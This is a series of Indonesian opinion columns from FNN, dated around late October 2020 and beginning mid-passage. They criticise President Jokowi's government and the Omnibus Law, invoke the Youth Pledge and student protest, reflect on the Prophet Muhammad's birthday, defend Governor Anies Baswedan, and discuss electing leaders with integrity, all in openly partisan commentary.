sekarang. Buang dulu fikiran mekanisme keterpilihan dengan cara curang. Karena cara ini hanya bisa mendustai untuk jangksa waktu sesaat. Tetapi tidak bisa mendustai untuk selamanya. Sebab cara curang itu akan tercatat sepanjang hayat kehidupan bangsa ini sebagai sejarah hitam dan kelam. Leo Nababan dan politisi lain pendukung Jokowi, apa bisa menghapus jejak keterpilihan Jokowi pada Pilpres 2919 lalu? Dengan dugaan kemenangan yang berbingkai rekayasa dan manipulasi angka? Semua itu akan dicatat oleh sejarah anak milenial sekarang. Pastinya akan dibuka nanti saat Jokowi tidak lagi punya kekuasaan. Sementara kekuasaan itu dipastikan berakhir. Untuk mampu bertahan hingga 2024 saja, itu sudah sangat hebat. Kisah kepemimpinan Jokowi diduga akan bertambah gawat. Hari ke hari berjalan tertatih-tatih akibat kebijakan yang tidak merakyat. Selalu saja membuat gelisah dan kecewa berat rakyat. Urusan Omnibus Law saja terus diganggu-gugat. Yang diharapkan oleh Jokowi agar datang, seperti masuknya invetasi dari asing, malah tidak bakal datang-datang. Sementara yang tidak diharapkan oleh Jokowi, seperti demo masih di seluruh penjuru tanag air oleh buruh, mahasiswa dan pelajar, justru datang membuat Jokowi pusing tidak karuan. Membuat kebijakan yang menyulitkan sendiri kekuasaan Jokowi. Mebuat Undang-Undang Omnibus Law Cipta Kerja (Cilaka). Ngakunya betujuan untuk meningkatkan dan mempermudah masuknya investasi asing. Mana ada investasi yang masuk di era pandemi virus corona sekarang. Akibatnya, yang datang berhadap-hadapan dengan Jokowi adalah demo masif dari para buruh, mahasiswa dan pelajar STM di seluruh penjuru tanah air. Jika Presiden bergeser menjadi Wapres, maka nasib "dilupakan" akan sama dengan Ma'ruf Amin. Hilang otoritas kepemimpinan dalam mengelola negara. Seperti burung yang dikurung di dalam sangkar emas. Belum lagi jika ada bongkar bongkaran dosa politik saat menjabat Presiden. Sebagai Wapres, tentu saja proteksi kekuasaan menjadi lemah. Apalagi jika "dilepas" oleh Presiden. Jadi terbayang model "mati ketawa cara Rusia". Seorang warga berteriak "Nikolay goblog" lalu ia ditangkap oleh KGB. Ia berkelit bahwa yang dimaksud adalah Nikolay yang lain. Tetapi petugas KGB itu tetap bersikukuh "Kalau kau teriak Nikolay goblog, maka pasti itu adalah Kaisar". Jika nantinya pak Jokowi siap posisinya hanya sebagai Wapres, sudah barang tentu akan membuatnya imut imut. Rakyat pun tertawa tanpa jeda. Dan inilah "mati ketawa ala Indonesia". Penulis adalah Pemerhati Politik dan Kebangsaan.

Pemuda & Mahasiswa Hadapi Penguasa Otoriter

by Tony Rosyid Jakarta FNN – Kamis (29/10). Kami poetra dan poetri Indonesia mengakoe bertumpah darah jang satoe, tanah Indonesia. Kami poetra dan poetri Indonesia mengakoe berbangsa jang satoe bangsa Indonesia. Kami poetra dan poetri Indonesia mendjoendjoeng bahasa persatoean, bahasa Indonesia. Itulah bunyi sumpah pemuda 28 Oktober 1928 Para pemuda Indonesia bersumpah. Sumpah pemuda ini lahir dari Konggres Pemuda II. Dimana seluruh organisasi pemuda berkumpul dan sepakat untuk mengangkat sumpah, yaitu sumpah pemuda. Sebelumnya, 30 April-2 Mei 1926, para pemuda dari berbagai organisasi baik Jong Java, Jong Batavia, Jong Sumatera, Jong Ambon, Jong Selebes, dan lain-lain berkumpul. Mereka menyatukan satu cita-cita, yaitu kemerdekaan Indonesia. Diperlukan wadah organisasi persatuan bagi para pemuda untuk memperjuangkan cita-cita kemerdekaan itu. Dan Konggres Pemuda II menguatkan semangat memperjuangkan cita-cita kemerdekaan tersebut. Para pemuda saat itu mampu melampaui batas-batas kepentingan. Baik itu kepentingan pribadi maupun kelompok. Melepaskan ego etnis, agama dan kelompok. Melebur jadi satu wadah perjuangan. Berjuang bersama, hidup atau mati untuk Indonesia merdeka. Saat itu, mereka menghadapi musuh bersama yaitu penjajahan Belanda. Penderitaan rakyat akibat penjajahan menggugah para pemuda untuk bersatu dan melakukan perlawanan. Hasilnya, 17 Agustus 1945, Indonesia pun merdeka. Pada era Soekarno, para pemuda pun bangkit kembali. Tepatnya tahun 1966. Otoritarianisme kekuasaan yang digemgang Soekarno menjadi isu bersama. Triggernya adalah pemberontakan PKI dan krisis ekonomi. Dan pada tahun 1967, Soekarno yang 22 tahun berkuasa pun tumbang secara tragis. Sedangkan era Soeharto, isunya pun sama. Yaitu otoritarianisme kekuaaan Soeharto. Dwi Fungsi ABRI dan Golkar menjadi pengawal utama Soeharto berkuasa selama 32 tahun. Pada 1998, krisis ekononi menjadi trigger para pemuda, khususnya mahasiswa. Hasilnya, Soeharto pun terguling. Setelah itu, era reformasi lahir. Sudah 22 tahun. Muncul Jokowi. Banyak pengamat menilai jika di era Soeharto tentara menjadi pengawal utama, maka di era Jokowi posisi itu digantikan oleh polisi. Menurut mereka, hal ini setidaknya dilihat dari sejumlah posisi strategis bagi perwira polisi. Besarnya anggaran kepolisian, maupun keberpihakan polisi terhadap kepentingan politik istana. Lepas dari semua itu, kekuasaan Jokowi seringkali dianggap tak sejalan dengan kemauan rakyat. Berkolaborasi dengan DPR. Lahirlah banyak peraturan yang dianggap tak berpihak kepada rakyat. Gelombang protes yang begitu masif, dan terus-menerus menjadi bukti nyata adanya penolakan dan perlawanan rakyat terhadap pemerintah maupun DPR. UU KPK, UU Corona, UU Minerba, RUU HIP, dan terakhir UU Omnibus Law Cipta Kerja. Semuanya mendapatkan penolakan masif dari rakyat. Namun meski ditolak rakyat, semua aturan itu diketuk palu di DPR, dan ditanda tangani presiden. Sah barang itu! Tersisa RUU HIP yang masih mencari celah. Protes rakyat tak berhenti. Diantaranya dari mahasiswa dan pelajar. Beberapa mahasiswa dan pelajar ditangkap dan menjadi tersangka. Kantor GPI-PII diobrak abrik. Bahkan, ada yang mati saat berhadapan dengan aparat. Belum lagi nasib sejumlah pengkritik pemerintah. Di dalam setiap demo, selalu saja ada provokator. Entah siapa mereka, dan diutus oleh siapa. Pelaku dan otaknya terlalu canggih hingga nggak terendus. Mahasiswa dan pelajar terjebak dan menjadi korban. Pasal tindak anarkis berhasil menjerat mereka. Di luar demo, kita hanya bisa kasih nasehat, jangan terprovokasi. Jangan melakukan tindakan anarkis. Jangan terjebak tindak pelanggaran hukum. Namun nampaknya, ada pihak yang melakukan cipta kondisi agar demo anarkis dan mahasiswa bisa ditangkap. Apakah ketika sejumlah mahasiswa ditangkap akan menyurutkan mental mereka dan mengendorkan demo? Bergantung! Sebab, ada mahasiswa yang dilobi, lalu dikasih uang, kemudian berhenti demo. Ada juga mahasiswa yang ketika temannya ditangkap lalu ciut nyalinya. Ada mahasiswa yang malah nyalahin teman-temannya yang ditangkap. Mereka itu fokus urus IP, karena takut kalau lulus gak dapat kerjaan. Inilah tipologi mahasiswa pecundang, begitu kata para senior mereka. Bagi mahasiswa yang terus berteriak tak berhenti menyuarakan kepentingan rakyat untuk buruh, untuk pendidikan, untuk pribumi, untuk keselamatan bangsa, merekalah yang kelak paling siap memimpin bangsa ini kedepan. Mereka adalah para mahasiswa tangguh yang terus menjaga idealisme, patriotisme, dan nasionalismenya. Mereka terus mematangkan diri sebelum kelak estafet kepemimpinan bangsa diserahkan kepada mereka. Saat ini, isu yang dihadapi mahasiswa dan pemuda adalah kekuasaan yang otoriter. Mirip dengan yang dihadapi oleh mahasiswa era tahun 1928, 1966 dan 1998. Apakah mahasiswa sekarang akan sekuat dan sehebat para penguasa pendahulunya? Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Merindukan Muhammad Salallahu Alaihi Wasallam

by Imam Shamsi Ali New York City FNN - Hari-hari ini Umat Islam di berbagai belahan dunia diingatkan oleh salah satu peristiwa penting dunia. Sebuah peristiwa yang membawa goncangan dan perubahan dahsyat secara global. Itulah kelahiran manusia terbaik (khaerul anaam), sekaligus penutup (khaatam) dan penghulu (sayyid) para nabi dan rasul. Muhammad Salallaahu Alaihi Wasallam terlahir di bulan Rabi’ul awwal. Bulan yang tentu mengingatkan akan kehadiran sosok pembaharu (reformer) dan agen perubahan ke arah yang lebih baik (al-muslih). Tetapi yang terpenting beliau hadir sebagai penyampai (muballig) risalah khatimah (the final message) Allah ke seluruh manusia sekaligus tauladan (uswah) bagi semua manusia. Tentu menuliskan mengenai Muhammad Salallaahu Alaihi Wasallam serasa melempar segenggam garam ke lautan samudra. Selain sedemikian banyak yang telah menulis tentang beliau, dan dalam segala aspek hidupnya, baik dari kalangan “believer” (yang mengimaninya) maupun yang “unbeliever” (tidak mengimaninya). Juga karena menuliskan tentang beliau, tidak akan pernah menemukan akhir dari keindahan cerita perjalanan hidupnya. Sebab Muhammad Salallaahu Alaihi Wasallam adalah memang manusia. Tetapi beliau tidak seperti manusia lainnya. Beliau adalah mutiara di tengah bebatuan. Kesempurnaannya mencapai puncak ketinggian. Keindahannya dirinya menyingkap gulita. Segala lini hidupnya begitu indah nan menawan. Ungkapan di atas adalah puji-pujian yang populer dan sering dibacakan oleh kalangan Muslim IPB (India Pakistan Bangladesh). Sebuah pujian yang memang menggambarkan realita kesempurnaan sosok Muhammad Salallaahu Alaihi Wasallam. Pujian yang terpenting tentunya bukan pujian manusia. Tetapi yang terpenting adalah pujian dan pemuliaan penciptanya, Allah Subhanahu Wata’ala sendiri. Berkali-kali beliau dipuji dalam Al-Quran. Salah satunya, “sungguh engkau (Muhammad) memiliki akhlak yang sangat agung”. Keimanan dan kecintaan kita kepada Muhammad Salallaahu Alaihi Wasallam menjadi bagian integral dari keimanan kita kepada Rabb itu sendiri. Bahwa “laa ilaaha illa Allah” itu tidak akan terpisahkan dari “Muhammad Rasululullah”. Hanya melalui (ajaran) Muhammad Salallaahu Alaihi Wasallam, kita akan mencapai keimanan yang benar dan hakiki kepada Allah Suhanahu Wata’ala. Suasana iman seperti di atas harus menjadi bagian dari detak nadi para Mukmin. Tetapi di momen Rabi’ul Awwal inilah kita kembali membangun komitmen dalam iman dan cinta kepada beliau. Kita “recharge” atau mengisi lagi dada kita dengan gelora iman dan cinta. Sehingga komitmen ketaatan kepadanya semakin membara. Hadir Kembali Risalah Dalam dunia yang penuh goncangan, cobaan dan fitnah saat ini, sosok Muhammad Salallaahu Alaihi Wasallam sangat dirindukan oleh manusia untuk hadir kembali. Sebuah sosok yang tidak akan tenang dengan berbagai penyelewengan kehidupan manusia. Kita diingatkan kembali tentang keadaan Kota Mekah sebelum lahirnya sosok Muhammad Salallaahu Alaihi Wasallam. Kejahiliyaan, kezholiman, rasisme, dikriminasi jender dan ras. Kekerasan (peperangan) antar suku menjadi pandangan lumrah. Dan tentunya penyelewengan akidah (kesyirikan) menjadi ideologi masyarakat Amerika saat itu. Hal di atas itulah yang menjadikan Muhammad Salallaahu Alaihi Wasallam resah, bahkan sedih. Beliau tidak merasakan ketenangan batin dengan suasana kehidupan yang bobrok secara sosial (public). Dan karenanya, beliau kerap mengadakan “takhannuts” di atas “Gunung Cahaya” (Jabal Nur). Keresahan batin akibat berbagai penyelewengan sosial sesungguhnya itulah yang mengantar kepada diangkatnya Muhammad Salallaahu Alaihi Wasallam sebagai Rasul dan nabi terakhir (khaatam an-nabiyyin wal mursaliin). Dengan tujuan itu pula, beliau melakukan perjuangan (jihad) hingga terjadi perubahan mendasar di semenanjung Arabia dalam masa kurang dari 23 tahun. Maka, di tengah ketidakpastian dunia saat ini, dimana kerap kebenaran dianggap salah dan kesalahan dianggap benar. Orang baik dianggap berbahaya dan orang jahat justeru dipromosikan sebagai orang-orang baik. Disaat seperti inilah kerinduan akan kehadiran Muhammad (SAW) itu sangat terasa. Ditengah dunia yang penuh keanehan saat ini, dimana agama justeru kerap dipandang ancaman. Sebaliknya, idiologi dan prilaku “anti agama” dipandang sebagai nilai positif. Disaat orang-orang yang beragama dipersekusi, sementara mereka yang anti dan kerap merendahkan agama seolah mendapat perlakuan istimewa. Berbagai prilaku imoralitas seolah dilindungi sehingga semakin merejalelah dan berani. Akibatnya ancaman kepada integritas (akhlak) kehidupan manusia semakin terancam. Agama dan moralitas dianggap ancaman. Sebaliknya, pelanggaran dan dosa-dosa dianggap modernitas dan kemajuan. Dunia Barat juga, seperti yang terjadi di Prancis saat ini, nilai-nilai kebaikan universal kebebasan misalnya, gunakan seenak udel manusia. Pelecehan kepada nilai-nilai keagamaan, Kitab Suci dan mereka yang dihormati dan dimuliakan (para rasul dan nabi) menjadi biasa atas nama kebebasan. Saya khawatirnya Macron dan konconya, ketika isteri dan anaknya yang dicintai dilecehkan hanya akan menyikapinya secara biasa. Akankah dia sekedar bersikapi sebagai sekedar ekspresi kebebasan? Atau ketika Prancis yang dia cintai dengan semangat nasionalisme itu dihinakan atau direndahkan. Akankah dia anggap hal itu sebagai sekedar ekspresi kebebasan? Di tengah dunia yang merasa berperadaban (civilized) dan maju dalam pemikiran intelektualitas, manusia semakin menampakkan kebodohannya (jahiliyah) yang nyata. Prilaku paradoks semakin nyata. Bahkan kemunafikan dipertontonkan dengan tidak malu-malu lagi. Di tengah dunia yang bobrok (jahil) dan gelap inilah Muhammad Salallaahu Alaihi Wasallam dirindukan kehadirannya. Sosok yang kembali hadir sebagai “nur” (cahaya), “rahmah” (kasih sayang), dan sekaligus “uswah” (tauladan) bagi seluruh alam. Tentu harapan kehadiran beliau tidak mungkin lagi secara fisik. Beliau adalah “basyar” (manusia biasa) yang masa dunianya telah berakhir. Tapi nilai-nilai (values), ajaran, ketauladanan beliau hidup hingga akhir zaman. Dan semua itu telah diamanahkan di atas pundak umatnya. Maka kerinduan akan hadirnya Muhammad Salallaahu Alaihi Wasallam di dunia ini merupakan tantangan lansung kepada umatnya. Mampukah Umat ini menjadi representasi Muhammad kepada dunia? Mampukah Umat ini menghadirkan kembali cahaya, nilai-nilai (values) dan ketauladanan baginda Rasulullah Salallaahu Alaihi Wasallam? Disini pulalah makna peringatan Maulid. Bahwa Maulid bukan pada bentuk acaranya. Tetapi lebih kepada memahami, menghayati, mengamalkan dan menyampaikan apa yang menjadi amanah kepada kita dari baginda Nabiyullah Salallaahu Alaihi Wasallam. Yaitu membawa agen-agen perubahan di dunia. Menghadirkan kembali cahaya itu di tengah kegelapan yang melanda dunia saat ini. Kita cinta Rasulullah Salallaahu Alaihi Wasallam, kita rindu Rasulullah Salallaahu Alaihi Wasallam. Semoga kita disatukan bersama Rasulullah Salallaahu Alaihi Wasallam di dalam Syurga-Nya Allah Subhanahu Wata’ala. Amin! Penulis adalah Imam/Direktur Jamaica Muslim Center USA & Presiden Nusantara Foundation.

Indonesia Bangkrut Akibat Menjual Martabat Bangsa

by Teuku Gandawan Xasir Jakarta FNN - Rabu (29/10). Sejak zaman penjajahan Belanda kita sudah punya para raja dan para bangsawan yang lebih memilih hidup tetap mewah walau jadi kaki tangan penjajah. Sesungguhnya mereka tidak punya kehormatan, tidak punya keberanian, tidak pula punya simpati dan empati kepada rakyatnya. Mereka lebih memilih hidup yang demikian daripada harus mati karena berperang membela wilayah dan rakyatnya. Kita juga punya rakyat biasa yang sejatinya adalah para petarung, tapi memutuskan tidak bertarung melawan penjajah. Mereka malah bergabung jadi tentara kelas dua Belanda untuk berperang, membunuh dan menangkap bangsanya sendiri. Mereka punya keberanian, tapi sayangnya keberanian itu malah digunakan untuk menghancurkan bangsa sendiri. Mereka bangga mendapat kompensasi uang receh Belanda atas kebusukan itu. Selain itu, kita juga punya rakyat biasa yang memutuskan perang bukan urusan hidupnya. Urusan hidupnya adalah bertahan hidup walau harus jadi pekerja harian di lahan pertanian, perkebunan dan perdagangan yang dimiliki penjajah Belanda. Mereka tak perduli nasib sesamanya yang terus bermatian akibat kekuasaan dan kebiadaban penjajah Belanda yang mereka dukung. Yang penting bagi mereka bisa hidup makmur alakadarnya. Tak cukup dengan itu, ada pula sebagian dari rakyat ini yang kerjanya mencari makan dari melaporkan segala tindak tanduk sesama rakyat lainnya yang menolak keberlangsungan Belanda sebagai penjajah. Mereka ini tidak perduli dengan laporannya cuma dihargai dengan uang sekepeng. Tidak perduli juga jika itu bisa menyebabkan kematian begitu banyak sesama anak bangsa. Tabiat-tabiat buruk ini juga ada ketika Indonesia diduduki oleh Jepang. Sesuatu yang tentu saja sangat dinikmati oleh Belanda dan Jepang. Tabiat busuk tak bermartabat inilah yang bisa membuat Belanda negara kecil di belahan Eropa bisa berkuasa begitu lama di Indonesia. Artinya kita terus dijajah dalam waktu yang lama karena pengkhianatan sesama kita. Sesama kita yang rela dengan penuh tawa mengorbankan nyawa sesama anak bangsa asal dirinya hidup dalam kemewahan versi dirinya. Setelah Indonesia Merdeka apa yang terjadi? Kaum Penjual Martabat ini tetap ada dan tetap jadi benalu. Jika dulu kita berperang melawan penjajah yang mereka dukung, kini kita mengisi pembangunan di era kemerdekaan sambil bertarung dengan mereka. Kerja mereka apa? Selalu menempel kepada kekuasaan atau pemerintah. Mengambil peran sebagaimana biasanya yakni menjadi benalu bagi pembangunan. Menghasut setiap penguasa untuk lebih perduli kekuasaan dan kekayaan. Mereka masa bodoh dengan tujuan pembangunan, masa bodoh dengan martabat bangsa dan negara. Mereka sibuk mengejar fulus, masa bodoh dengan dinar dan dirhamnya melayang ke pihak asing atau konglomerasi. Mereka yang berjabatan sibuk memberikan kemudahan kepada konglomerat dan asing untuk menguasai sumber daya alam. Barternya dia mendapatkan puluhan hingga ratusan miliar kekayaan pribadi atau kelompok, sementara pihak yang didukungnya mengeruk kekayaan hingga triliunan. Pada hari Sumpah Pemuda 28 Oktober 2020, sudah waktunya kita sebagai anak bangsa kembali bersumpah ulang. Kita harus kembali kepada kesejatian tujuan keberadaan bangsa ini. Kita wajib bersumpah ulang tentang tumpah darah kita adalah satu, yaitu Indonesia. Jangan ada lagi yang siap menumpahkan darahnya bukan untuk kemajuan Indonesia. Kita wajib berbangsa yang satu yaitu bangsa Indonesia. Yang saat ini masih merasa dirinya juga bangsa lain, silahkan angkat kaki atau silahkan berganti kewarganegaraan. Dan kalau untuk bahasa saja kita bisa bersepakat hanya ada satu bahasa yaitu bahasa Indonesia, maka tujuan kita juga harusnya hanya satu yaitu mewujudkan kejayaan Indonesia. Jangan lagi ada yang mengambil peran sebagai kaki tangan kepentingan asing. Jangan juga menjadi benalu di negara sendiri, yang tak perduli konsekuensi perilaku diri yang bisa merugikan nasib sesama anak bangsa. Jangan lagi menginjak-injak kepentingan dan tujuan berbangsa dan bernegara di atas kepentingan diri atau kelompok. Berhentilah berkedok dan bertopeng tentang ideologi lain selain Ideologi Pancasila. Berhentilah membuat kemudahan investasi di bidang apapun yang tidak untuk memakmurkan rakyat keseluruhan. Berhentilah jadi agen pembuat kebangkrutan bangsa dan negara. Penulis adalah Direktur Eksekutif Strategi Indonesia.

Politisi Sempit Pentingkan Fasum, Gubernur Anies Pikirkan Martabat Bangsa

by Asyari Usman Jakarta FNN - Selasa (27/10). Ada satu berita menarik yang tercecer. Tak sempat dibahas saking banyaknya rangkaian perstiwa penting di seputar Omnibus Law UU Cilaka (singkatkan saja menjadi OBL). Kejadian itu sepele sebenarnya. Tapi, peristiwa ini menunjukkan betapa lebarnya jurang intelektualitas antara Gubernur DKI Anies Baswedan dan ketua Fraksi Golkar di DPRD DKI, Basri Baco. Di manakah jurang visioner (visionary gap) yang menganga itu? Ini kita bahas. Seperti diberitakan media, banyak fasilitas umum (fasum) yang dirusak oleh entah siapa ketika berlangsung unjuk rasa (unras) rakyat yang menentang OBL. Nah, Basri Baco berpendapat Anies seharusnya marah-marah. Karena, menurut dia, Gubernur berharap marah. Basri tampaknya geram sekali melihat reaksi Anies yang tidak gebrak-gebrak. Barangkali, dia ingin Anies seperti Ahok. Memaki-maki di depan kamera. Karena tidak marah, Basri malah menduga para perusuh anarkis yang merusak fasum itu adalah pendukung Anies. Yang menyebabkan Gubernur tidak bisa marah. Beginilah kualitas anggota DPRD DKI. Ketua fraksi Golkar pula. Orang ini kemungkinan nanti bisa masuk ke DPRRI. Bayangkan kalau orang “narrow minded” (berpikiran sempit) seperti ini duduk di lembaga legislatif nasional. Ada dua “error” cara berpikir Basri Baco. Error pertama, apakah dia bisa memastikan bahwa para perusuh adalah mahasiswa, buruh, atau elemen-elemen peserta unras lainnya? Error kedua, kalau pun para perusuh itu adalah pendemo, apakah reaksi marah kepada rakyat yang melancarkan protes terhadap sesuatu yang mereka yakini akan menghancurkan kehidupan anak-cucu mereka, merupakan cara terbaik untuk membangun masyarakat yang bermartabat? Di tengah berbagai bukti yang mengungkap cara kotor para penguasa untuk mengacaukan unras damai menjadi rusuh, apakah isi kepala Pak Basri langsung menelan mentah-mentah pernyataan bahwa pelaku kerusuhan adalah para pengunjuk rasa? Tidakkah beliau mempunyai nalar analitik dalam melihat situasi secara menyeluruh? Seharusnya Basri menunjukkan kaliber sebagai politisi Golkar. Apalagi ketum beliau, Airlangga Hartarto, bangga Golkar sebagai partai senior di Indonesia. Kok malah berkomentar seperti orang-orang yang terbiasa nongkrong di warung kopi di jalan kelas III-C? Barangkali, Basri melihat demo OBL sebagai sesuatu yang tak perlu dilakukan. Aksi yang sia-sia. Buang-buang tenaga dan waktu. Bisa juga dimaklumi jika dia berpendapat demikian. Tapi, sebagai wakil rakyat di wilayah ibukota, sungguh komentar Basri masuk kategori di bawah garis kemiskinan intelektualitas. Haram hukumnya seorang politisi ibukota negara berada di golongan minus kecendekiaan. Memang berbeda jauh. Jomplang sekali. Dia dan Anies berlainan kelas. Basir melihat demo dari sudut pandang teknis-materialistis. Tentang berapa miliar kerusakan fasum. Itu pun kalau benar pendemo yang melakukan pengrusakan. Sebaliknya, Anies melihat demo secara filosofis-psikologis. Dia menatap puing-puing demo dengan renungan tentang nasib rakyat yang selalu menjadi korban kerakusan. Tentang pemegang kekuasaan yang berubah menjadi monster buas dan sadis. Anies menyimak demo dengan visi seorang negarawan. Yang merisaukan ketidakberdayaan rakyat di depan para cukong yang telah menguasai semua lini Indonesia. Basri lebih senang memegang kalkulator untuk menghitung kerugian material. Sedangkan Anies lebih banyak memikirkan cara untuk melepaskan rakyat dari cengkeraman oligarki cukong. Dia tak perlu kalkulator, tapi setiap saat Anies membuat kalkulasi tentang kedaualatan rakyat di masa depan. Basri lebih banyak tersita oleh konstruksi fasilitas umum yang rusak. Tentu ini bukan dosa. Tapi, Anies menumpahkan pikirannya tentang konstruksi martabat manusia Indonesia di tengah kebijakan penguasa yang tidak memihak rakyat. Semoga saja Basri Baco bisa melihat demo OBL dengan nalar yang lebih tajam.[] Penulis adalah Wartawan Senior FNN.co.id

Jokowi Akan Dikudeta Siapa?

by M. Rizal Fadillah Bandung FNN – Selasa (27/10). Anggota Komisi VI DPR RI dari Fraksi PDIP Darmadi Durianto mewanti-wanti agar Presiden Jokowi waspada. Sebab kemungkinan Jokowi akan dikudeta oleh Menteri yang sedang bermanuver untuk kepentingan politik. Menteri-menteri ini akan kudeta di tengah jalan. Karena itu menurutnya ,Jokowi harus segera melakukan reshuffle kabinet. Tentu saja penyataan Darmadi Durianto ini tak jelas sasarannya. Kepada siapa yang dimaksudkan dengan para menteri tersebut. Pastinya Darmadi Durianto tidak berani juga menyebut nama. Hanya menurutnya mereka merangkak keistana mengganggu kinerja Pemerintah. Pertengahan jalan nanti akan mulai terlihat misi kepentingan politik mereka untuk kepentingan 2024. Demikian menurut Darmadi Durianto. Sebenarnya pandangan tersebut sangat kontradiksi. Sebab tidak jelas waktunya. Bibilang antara kudeta dan Pilpres 2024. Hanya isu tentang kudeta ini mengejutkan, karena disamping tidak ada dalam budaya ketatanegaraan kita, juga kudeta sipil itu mustahil bisa terjadi. Kalau toh ada yang punya keinginan, maka itu hanya hayalan semata. Dipastikan tidak akan terjadi. Ataukah yang dimaksud oleh Darmadi Durianto adalah kudeta Menteri yang berasal dari kalangan pensiunan atau mantan militer? Luhut, Prabowo, Rozi, Moeldoko atau Terawan. Luhut dalam pandangan awam sudah lama meng"kudeta" karena menjadi penentu Pemerintahan. Prabowo setelah masuk kabinet sudah berubaha menjadi "anak manis" pemuja, pemuji dan…. Jokowi. Mungkin karena kemarin jumpa Menteri Pertahanan (Menhan) Amerika Serikat, sehingga patut untuk dicurigai. Fachrul Rozi, Menteri Agama yang lebih bikin susah umat beragama, terutama umat Islam. Sementara Terawan Menteri Kesehatan yang justru babak belur dihajar Corona. Terawan pasti tidak masuk dalam kualifikasi sebagai pemberontak. Apalagi Terawan nyata-nyata telah menjadi obyek yang ditunjuk-tunjuk oleh Presiden dalam beberapa rapat kebinet. Mengapa PDIP begitu khawatir akan terjadinya kudeta? Jangan-jangan seperti ini meniru pola yang dipakai jaman Pertai Komunis Inbdonesia (PKI) dulu. Dibangunlah isu politik tentang keberadaan Dewan Jenderal yang akan melakukan kudeta terdahap Presiden Soekarno. Ternyata PKI sendiri yang mencoba untuk mengambil alih kekuasaan itu dari Presiden Soekarno. Hasilnya sejumlah jendaral dari TNI Angkatan Darat, termasuk Menteri Panglima Angkatan Darat Jendral TNI Ahmad Yani dibunuh. Politik lempar batu sembunyi tangan. Reshuffle kabinet, yang bukan untuk pembenahan kinerja, tetapi mencegah kudeta adalah sangat berbahaya. Bisa masuk semburan fitnah "firehose of falsehood". Apalagi dalam kondisi dimana tingkat kepercayaan dan kepuasan masyarakat yang rendah kepada pemerintah Jokowi saat ini. Reshuffle kabinet untuk saat ini bukan solusi yang pas. Karena dipastikan tidak akan mampu untuk menjadi dewa yang menyelamatkan pemerintahan Jokowi dari keambrukan. Kuncinya bukan pada para Menteri. Tetapi pada Presiden yang lemah soal leadership. Jika kudeta menjadi isu yang diperbesar, maka nanti akan ada omongan orang "maling teriak maling". Seperti satpam yang diikat perampok, padahal itu adalah kerjasama antara pelakukan perampokan dengan satpam yang mengingat. Tujuannya adalah merampok bersama dengan upaya mengecoh orang lain yang dianggap bodoh. Sebuah rekayasa "playing victim". Penulis adalah Pemerhati Politik dan Kebangsaan.

Pemimpin Yang Berintegritas

by Shamsi Ali New York City FNN – Selasa (27/10). Di musim politik dan Pilkada seperti ini, tentunya masyarakat atau umat lagi-lagi diperhadapkan kepada kenyataan-kenyataan yang terkadang membingunkan. Tentu salah satunya adalah bingung dalam menentukan pilihan pada Pilkada tersbut. Dalam menentukan pilihan, terkadang memang tidak sederhana. Akan banyak sekali pertimbangan yang terlibat. Dari pertimbangan kedekatan (keluarga dan teman), kemampuan, Ilmu, karakter, agama, hingga kepada faktor uang. Saya menilai pertimbangan-pertimbangan itu sah-sah saja. Tapi pastinya ada pertimbangan yang seharusnya menjadi “flatform” atau dasar pilihan yang bersifat universal. Artinya, harus ada pertimbangan dasar yang menjadi alasan utama dalam menentukan pilihan. Salah satu pertimbangan utama dalam menentukan pilihan adalah agama dan karakter kandidat. Agama menjadi penting karena diharapkan seorang pejabat akan lebih amanah. Dengan agama pastinya seorang pejabat akan memiliki rasa tanggung jawa (sense of responsibility). Tidak saja secara duniawi (kepada rakyat ya). Tetapi lebih dari itu, tanggung jawab ukhrawi kepada Rabbnya di akhirat kelak. Agama seseorang itu dalam konotasi sosial, termasuk kepemimpinannya, akan terbentuk dalam wujud “karakter kemanusiaan”. Agamanya akan terbaca dalam prilaku dan integritasnya. Pemimpin yang beragama secara benar, tidak akan menjadikan simbol-simbol keagamaan sebagai mainan politik. Di saat musim kampanye serta merta menjadi “so religious” (nampak seperti beragama). Dari ragam kegiatan keagamaan, hingga kepada penampilan lahirnya menjadi nampak sangat beragama. Pemimpin yang beragama justeru akan menampakkan nilai-nilai agama itu dalam menjalankan kampanye politiknya. Bahwa dia tidak akan membangun kekuatan politiknya di atas dasar keuangan yang maha kuasa. Sehingga dia tidak akan membeli suara. Jika memang punya uang, maka uang itu akan dipergunakan dalam bentuk “programming” yang bersifat sosial dan manfaat umum. Bukan membeli suara melalui apa yang dikenal di negeri ini dengan “serangan fajar”. Pemimpin yang beragama juga mengedepankan pertarungan visi/misi dan program, ketimbang faktor lain dalam laga politiknya. Bahwa sebuah perhelatan politik memang memerlukan duit. Tetapi pemimpin yang berintegritas (berakhlak) akan selalu meraih hati masyarakat melalui visi/misi dan programnya. Tentu pemimpin beragama juga adalah pemimpin yang memiliki prilaku yang mulia. Pemimpin yang tetap “tawadhu” dan menjalin komunikasi dan silaturrahim dengan siapa saja tanpa memandang status sosialnya. Bukan ramah di saat kampanye. Tetapi berubah total di saat telah menjabat. Pemimpin beragama juga menjaga nilai-nilai moralitas dalam hidupnya. Maka dia akan menjauhi segala yang dilarang agama. Apapun itu, dari berbohong kepada rakyatnya, minum khamar, berjudi dan melakukan penyelewengan dalam hal kehidupan intimnya. Jika seorang calon itu dikenal memang sering ke Macau atau Singapura untuk berjudi jangan harapan akan mampu menjadi pemimpin yang berketauladadan bagi masyarakatnya. Sementara ketauladanan akan menentukan wajah masyarakat di masa depan. Disinilah kemudian masyarakat (pemilih) harus jeli membaca atau mencari tahu siapa pemimpin yang akan dipilihnya. Kesalahan dalam menentukan pilihan akan berdampak tidak saja lima tahun dalam kepemimpinannya. Tetapi boleh jadi berimbas ke dalam kehidupan yang lebih jauh lagi ke depan. Silahkan memilih teman, kerabat, bahkan saudara. Tetapi hendaknya pertemanan, kekeluargaan dan persaudaraan tidak menjadi pertimbangan yang menentukan. Karena tidak menutup kemungkinan saudara yang dipilih, namun tidak berintegritas itu justeru mencampakkan kepentingan masyarakat umum, bahkan teman dan keluarga yang memilihnya. Saya justeru khawatir, jangan-jangan menjatuhkan pilihan berdasarkan pertemanan dan kekeluargaan itu justeru menjadi bagian dari bentuk “nepotisme” tanpa disadari. Sebuah prilaku menyeleweng yang hina dalam kehidupan publik. Lebih runyam lagi disaat pilihan itu, ternyata didasarkan kepada kepentingan-kepentingan sempit dan sesaat. Mendukung kandidat tertentu karena sebuah harapan untuk mendapat proyek tertentu pula. Atau dalam bahasa pinggir jalan, “ada kerupuk di balik rantang”. Penulis adalah Imam di kota New York & Presiden Nusantara 